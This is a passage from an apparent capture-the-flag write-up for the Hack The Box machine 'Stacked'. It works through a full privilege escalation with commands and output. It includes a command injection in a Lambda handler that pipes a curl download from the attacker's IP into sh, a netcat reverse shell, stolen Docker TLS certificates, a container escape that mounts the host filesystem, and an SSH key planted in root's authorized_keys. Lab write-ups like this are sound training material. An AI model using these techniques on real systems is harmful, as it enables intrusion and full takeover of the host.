2021/09/19 11:40:24 CMD: UID=0 PID=5873 | /bin/sh -c CONTAINER_ID="$(docker create -i -e DOCKER_LAMBDA_USE_STDIN="$DOCKER_LAMBDA_USE_STDIN" -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME" -e EDGE_PORT="$EDGE_PORT" -e _HANDLER="$_HANDLER" -e AWS_LAMBDA_FUNCTION_TIMEOUT="$AWS_LAMBDA_FUNCTION_TIMEOUT" -e AWS_LAMBDA_FUNCTION_NAME="$AWS_LAMBDA_FUNCTION_NAME" -e AWS_LAMBDA_FUNCTION_VERSION="$AWS_LAMBDA_FUNCTION_VERSION" -e AWS_LAMBDA_FUNCTION_INVOKED_ARN="$AWS_LAMBDA_FUNCTION_INVOKED_ARN" -e AWS_LAMBDA_COGNITO_IDENTITY="$AWS_LAMBDA_COGNITO_IDENTITY" -e NODE_TLS_REJECT_UNAUTHORIZED="$NODE_TLS_REJECT_UNAUTHORIZED" --rm "lambci/lambda:nodejs8.10" "lambda.apiHandler")";docker cp "/tmp/localstack/zipfile.28a09a0a/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID";
2021/09/19 11:40:24 CMD: UID=0 PID=5881 | /bin/sh -c CONTAINER_ID="$(docker create -i -e DOCKER_LAMBDA_USE_STDIN="$DOCKER_LAMBDA_USE_STDIN" -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME" -e EDGE_PORT="$EDGE_PORT" -e _HANDLER="$_HANDLER" -e AWS_LAMBDA_FUNCTION_TIMEOUT="$AWS_LAMBDA_FUNCTION_TIMEOUT" -e AWS_LAMBDA_FUNCTION_NAME="$AWS_LAMBDA_FUNCTION_NAME" -e AWS_LAMBDA_FUNCTION_VERSION="$AWS_LAMBDA_FUNCTION_VERSION" -e AWS_LAMBDA_FUNCTION_INVOKED_ARN="$AWS_LAMBDA_FUNCTION_INVOKED_ARN" -e AWS_LAMBDA_COGNITO_IDENTITY="$AWS_LAMBDA_COGNITO_IDENTITY" -e NODE_TLS_REJECT_UNAUTHORIZED="$NODE_TLS_REJECT_UNAUTHORIZED" --rm "lambci/lambda:nodejs8.10" "lambda.apiHandler")";docker cp "/tmp/localstack/zipfile.28a09a0a/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID";
We adjust the setup.sh
with a new function name to avoid conflict with the earlier created app. We also change the handler
value to our command injection payload. First we break out of the quotes and add a ;
to each end to make sure the payload runs. As actual payload we use the same index.html
as above.
setup.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/bin/sh
API_NAME="rce"
REGION=eu-west-1
STAGE=test
aws lambda create-function \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--function-name ${API_NAME} \
--runtime nodejs8.10 \
--handler '";curl 10.10.14.70|sh;"'\
--memory-size 128 \
--zip-file fileb://api-handler.zip \
--role arn:aws:iam::123456:role/irrelevant
LAMBDA_ARN=$(aws lambda list-functions --endpoint=http://s3-testing.stacked.htb --query "Functions[?FunctionName==\\`${API_NAME}\\`].FunctionArn" --output text --region ${REGION})
aws apigateway create-rest-api \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--name ${API_NAME}
API_ID=$(aws apigateway get-rest-apis --endpoint=http://s3-testing.stacked.htb --query "items[?name==\\`${API_NAME}\\`].id" --output text --region ${REGION})
PARENT_RESOURCE_ID=$(aws apigateway get-resources --endpoint=http://s3-testing.stacked.htb --rest-api-id ${API_ID} --query 'items[?path==`/`].id' --output text --region ${REGION})
aws apigateway create-resource \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--rest-api-id ${API_ID} \
--parent-id ${PARENT_RESOURCE_ID} \
--path-part "{somethingId}"
RESOURCE_ID=$(aws apigateway get-resources --endpoint=http://s3-testing.stacked.htb --endpoint=http://s3-testing.stacked.htb --rest-api-id ${API_ID} --query 'items[?path==`/{somethingId}`].id' --output text --region ${REGION})
aws apigateway put-method \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--rest-api-id ${API_ID} \
--resource-id ${RESOURCE_ID} \
--http-method GET \
--request-parameters "method.request.path.somethingId=true" \
--authorization-type "NONE" \
aws apigateway put-integration \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--rest-api-id ${API_ID} \
--resource-id ${RESOURCE_ID} \
--http-method GET \
--type AWS_PROXY \
--integration-http-method POST \
--uri arn:aws:apigateway:${REGION}:lambda:path/2015-03-31/functions/${LAMBDA_ARN}/invocations \
--passthrough-behavior WHEN_NO_MATCH \
aws apigateway create-deployment \
--endpoint=http://s3-testing.stacked.htb \
--region ${REGION} \
--rest-api-id ${API_ID} \
--stage-name ${STAGE} \
ENDPOINT=http://s3-testing.stacked.htb/restapis/${API_ID}/${STAGE}/_user_request_/HowMuchIsTheFish
echo "API available at: ${ENDPOINT}"
echo "Testing GET:"
curl -i ${ENDPOINT}
Now all we need to do is stand up our webserver again to serve the payload and a listener to catch the reverse shell.
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
$ sudo nc -lnvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Running our setup.sh
again it does not fully finish because it is busy executing our reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
$./setup.sh
{
"FunctionName": "rce",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:rce",
"Runtime": "nodejs8.10",
"Role": "arn:aws:iam::123456:role/irrelevant",
"Handler": "\";curl 10.10.14.70|sh;\"",
"CodeSize": 405,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2021-09-19T11:43:53.775+0000",
"CodeSha256": "6jk3Fx3fKCfj+kwwVgxY4sqLbU3PxGNXE1PbsJ5EIh8=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "769337b0-8d84-442c-b22d-94356252162a",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
{
"id": "k2gdi3upog",
"name": "rce",
"createdDate": 1632051834,
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": [
"EDGE"
]
},
"tags": {},
"disableExecuteApiEndpoint": false
}
{
"id": "60241i4tec",
"parentId": "9lr12s57bd",
"pathPart": "{somethingId}",
"path": "/{somethingId}"
}
{
"httpMethod": "GET",
"authorizationType": "NONE",
"apiKeyRequired": false
}
{
"type": "AWS_PROXY",
"httpMethod": "POST",
"uri": "arn:aws:apigateway:eu-west-1:lambda:path/2015-03-31/functions/arn:aws:lambda:us-east-1:000000000000:function:rce/invocations",
"requestParameters": {},
"passthroughBehavior": "WHEN_NO_MATCH",
"cacheNamespace": "38c070e7",
"cacheKeyParameters": [],
"integrationResponses": {
"200": {
"statusCode": 200,
"responseTemplates": {
"application/json": null
}
}
}
}
{
"id": "n2a6mn0cyv",
"description": "",
"createdDate": 1632051837
}
API available at: http://s3-testing.stacked.htb/restapis/k2gdi3upog/test/_user_request_/HowMuchIsTheFish
Testing GET:
We see a hit on our webserver and get a shell back on our listener, which we upgrade again using python.
1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.223.207 - - [19/Sep/2021 11:43:57] "GET / HTTP/1.1" 200 -
The nmap scan in the beginning revealed that the docker port is listening but we didnโt have the necessary certificates to interact with it. Those certificates are in the /root/.docker/
of the docker container.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sudo nc -lnvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.129.223.207.
Ncat: Connection from 10.129.223.207:53948.
bash: cannot set terminal process group (5936): Not a tty
bash: no job control in this shell
bash-5.0# python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
bash-5.0# export TERM=xterm
export TERM=xterm
bash-5.0# ^Z
[1]+ Stopped sudo nc -lnvp 443
$ stty raw -echo;fg
sudo nc -lnvp 443
bash-5.0# stty rows 55 cols 236
bash-5.0# ls /root/.docker/
ca-key.pem ca.pem ca.srl cert.pem client.csr extfile-client.cnf extfile.cnf key.pem
Mount host
Tranfsering the certificates over to our machine and trying to interact with docker it needs another hostname for which the cert is valid so we add stacked
to our /etc/hosts
.
1
2
$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=stacked.htb:2376 container ls
error during connect: Get "https://stacked.htb:2376/v1.24/containers/json": x509: certificate is valid for localhost, stacked, not stacked.htb
Now we can list all the contiainers.
1
2
3
4
$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=stacked:2376 container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
4cc5541e168c 0601ea177088 "sh" 8 hours ago Up 8 hours 4566/tcp, 4571/tcp, 8080/tcp eager_varahamihira
531ad09e29d7 localstack/localstack-full:0.12.6 "docker-entrypoint.sh" 8 hours ago Up 8 hours 127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp localstack_main
The plan now is to create a container with the host file system mounted and sh
set as entrypoint. First we list all availabe images to create our container.
1
2
3
4
5
6
7
$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=stacked:2376 image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
localstack/localstack-full 0.12.6 7085b5de9f7c 2 months ago 888MB
localstack/localstack-full <none> 0601ea177088 7 months ago 882MB
lambci/lambda nodejs12.x 22a4ada8399c 7 months ago 390MB
lambci/lambda nodejs10.x db93be728e7b 7 months ago 385MB
lambci/lambda nodejs8.10 5754fee26e6e 7 months ago 813MB
Using the second image we are able to create a container with the root of the host filesystem mounted in it and connect to it.
1
2
3
4
$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=stacked:2376 run -v /:/host -it --entrypoint sh 0601ea177088
/opt/code/localstack # cd /ho
home/ host/
/opt/code/localstack # cd /host/root/
We could already read the flag now but letโs quickly add our public ssh key to rootโs authorized keys.
1
/host/root # echo 'ssh-rsa AAAAB3Nz...[snip]...QmVKMHCEU=' >> .ssh/authorized_keys
With this we can now ssh into host machine as the root user and add the flag to our collection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ssh -i root root@stacked.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-84-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 19 Sep 11:54:00 UTC 2021
System load: 0.0
Usage of /: 89.0% of 7.32GB
Memory usage: 36%
Swap usage: 0%
Processes: 282
Users logged in: 1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.129.223.207
IPv6 address for ens160: dead:beef::250:56ff:feb9:636d
=> / is using 89.0% of 7.32GB
=> There is 1 zombie process.
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Sep 19 09:42:03 2021 from 10.10.14.70
root@stacked:~# wc -c /root/root.txt
33 /root/root.txt